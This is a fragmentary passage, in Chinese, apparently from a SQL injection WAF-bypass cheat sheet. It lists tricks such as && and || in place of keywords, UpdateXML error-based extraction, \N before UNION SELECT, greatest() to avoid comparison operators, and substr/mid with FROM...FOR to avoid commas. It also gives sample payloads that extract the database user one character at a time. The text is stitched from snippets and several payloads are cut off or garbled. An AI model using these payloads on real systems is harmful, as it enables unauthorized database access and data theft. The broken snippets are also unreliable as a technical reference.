,可以试下&&和||
=不能使用的情况,可以考虑尝试
3.生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘...select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
2.8 特殊的绕过函数...通过greatest函数绕过不能使用大小于符号的情况
greatest(a,b),返回a和b中较大的那个数。...通过substr函数绕过不能使用逗号的情况
mid(user() from 1 for 1)
或
substr(user() from 1 for 1)
mysql> select ascii(substr...),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user